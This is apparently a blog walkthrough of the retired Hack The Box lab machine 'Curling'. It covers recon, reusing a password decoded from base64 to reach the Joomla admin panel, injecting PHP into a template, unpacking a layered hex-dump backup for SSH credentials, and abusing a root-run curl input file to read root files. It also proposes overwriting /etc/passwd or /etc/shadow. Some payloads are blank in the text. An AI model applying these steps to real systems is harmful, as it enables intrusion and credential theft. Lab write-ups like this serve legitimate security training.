HTB: Curling


This machine is Curling on Hack The Box, is a retired machine and on IP

Recon Phase

First I wanted to see what services were running on the target

root@kali:~# nmap -sV
Nmap scan report for
Host is up (0.034s latency).
Not shown: 998 closed ports
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at .
Nmap done: 1 IP address (1 host up) scanned in 7.60 seconds

Shell Hunting

I started at the webserver by going to

Screenshot 1

This is joomla, but the source had something interesting

Screenshot 2

So I went to

Screenshot 3


Base64, decodes to


This could be a password, and one of the posts was signed off as “Floris” so I tried


Screenshot 4

It worked, so I tried, when prompted for the creds I used the same ones again

Screenshot 5

I clicked

Extensions -> Templates -> Templates

Screenshot 6

Then clicked on beez3, clicked editor and right after <?php I put


Screenshot 7

After clicking save it should be available at

Which loaded a white screen, which hopefully is the php crashing, so I tried

Screenshot 8

So I began to dig around -la /home

Screenshot 9 -la /home/floris

Screenshot 10

I can’t read the flag yet, but password_backup looks good

Screenshot 11

It’s some hex output, so I broke it into lines

00000000: 425a 6839 3141 5926 5359 819b bb48 0000 BZh91AY&SY...H..
00000010: 17ff fffc 41cf 05f9 5029 6176 61cc 3a34 ....A...P)ava.:4
00000020: 4edc cccc 6e11 5400 23ab 4025 f802 1960 N...n.T.#.@%...`
00000030: 2018 0ca0 0092 1c7a 8340 0000 0000 0000 ......z.@......
00000040: 0680 6988 3468 6469 89a6 d439 ea68 c800 ..i.4hdi...9.h..
00000050: 000f 51a0 0064 681a 069e a190 0000 0034 ..Q..dh........4
00000060: 6900 0781 3501 6e18 c2d7 8c98 874a 13a0 i...5.n......J..
00000070: 0868 ae19 c02a b0c1 7d79 2ec2 3c7e 9d78 .h...*..}y..<~.x
00000080: f53e 0809 f073 5654 c27a 4886 dfa2 e931 .>...sVT.zH....1
00000090: c856 921b 1221 3385 6046 a2dd c173 0d22 .V...!3.`F...s."
000000a0: b996 6ed4 0cdb 8737 6a3a 58ea 6411 5290 ..n....7j:X.d.R.
000000b0: ad6b b12f 0813 8120 8205 a5f5 2970 c503 .k./... ....)p..
000000c0: 37db ab3b e000 ef85 f439 a414 8850 1843 7..;.....9...P.C
000000d0: 8259 be50 0986 1e48 42d5 13ea 1c2a 098c .Y.P...HB....*..
000000e0: 8a47 ab1d 20a7 5540 72ff 1772 4538 5090 .G.. [email protected].
000000f0: 819b bb48                               ...H

Looks like a file hex dump, so I’ll put it back together

root@kali:~# cat floris.dump | xxd -r > floris

Check it worked

root@kali:~# file floris
floris: bzip2 compressed data, block size = 900k

Now to decompress

root@kali:~# bzcat floris > floris-1
root@kali:~# file floris-1
floris-1: gzip compressed data, was "password", last modified: Tue May 22 19:16:20 2018, from Unix, original size 141

Now another round

root@kali:~# zcat floris-1 > floris-2
root@kali:~# file floris-2
floris-2: bzip2 compressed data, block size = 900k

And another

root@kali:~# bzcat floris-2 > floris-3
root@kali:~# file floris-3
floris-3: POSIX tar archive (GNU)

And a tar

root@kali:~# tar -xvf floris-3

Finally a file

root@kali:~# cat password.txt

I tried this on ssh

root@kali:~# ssh [email protected]

Root Hunting

Time to look around

floris@curling:~$ ls -la
drwxr-xr-x 6 floris floris 4096 May 22  2018 .
drwxr-xr-x 3 root   root   4096 May 22  2018 ..
drwxr-x--- 2 root   floris 4096 May 22  2018 admin-area
lrwxrwxrwx 1 root   root      9 May 22  2018 .bash_history -> /dev/null
-rw-r--r-- 1 floris floris  220 Apr  4  2018 .bash_logout
-rw-r--r-- 1 floris floris 3771 Apr  4  2018 .bashrc
drwx------ 2 floris floris 4096 May 22  2018 .cache
drwx------ 3 floris floris 4096 May 22  2018 .gnupg
drwxrwxr-x 3 floris floris 4096 May 22  2018 .local
-rw-r--r-- 1 floris floris 1076 May 22  2018 password_backup
-rw-r--r-- 1 floris floris  807 Apr  4  2018 .profile
-rw-r----- 1 floris floris   33 May 22  2018 user.txt

Grab the flag

floris@curling:~$ cat user.txt

Time to look around

floris@curling:~$ cd admin-area/
floris@curling:~/admin-area$ ls -la
drwxr-x--- 2 root   floris  4096 May 22  2018 .
drwxr-xr-x 6 floris floris  4096 May 22  2018 ..
-rw-rw---- 1 root   floris    25 Jan 17 22:39 input
-rw-rw---- 1 root   floris 14236 Jan 17 22:39 report
floris@curling:~/admin-area$ cat input
url = ""

The report file contained the contents of the file, so it seemed to get put into curl, and my guess as the input file was passed as params to it, so I edited it to contain


But there was a script that edited it back just before it got run. So I opened another terminal and setup a script to monitor it

floris@curling:~/admin-area$ while true; do ls -la > input; sleep 1; done

I knew the orignial file was 25 bytes, so I added garbage so it wasn’t

floris@curling:~/admin-area$ echo 23sdf > input

When it changed to 25 again I ran

floris@curling:~/admin-area$ echo 'url = "file:///root/flag.txt"' > input

Carried on waiting and watched as report changed too

floris@curling:~/admin-area$ cat report

That was the root flag, I didn’t get the root shell but had a good idea of how it could be done, the input file probably called the command to be run as

curl --url [urlVal]

so by adding


to the input file, I would be able to redirect output, this would happen as root, so I could use it to overwrite any file, for example /etc/passwd, /etc/shadow etc and give myself root access

Leave a Reply

Your email address will not be published. Required fields are marked *

This site uses Akismet to reduce spam. Learn how your comment data is processed.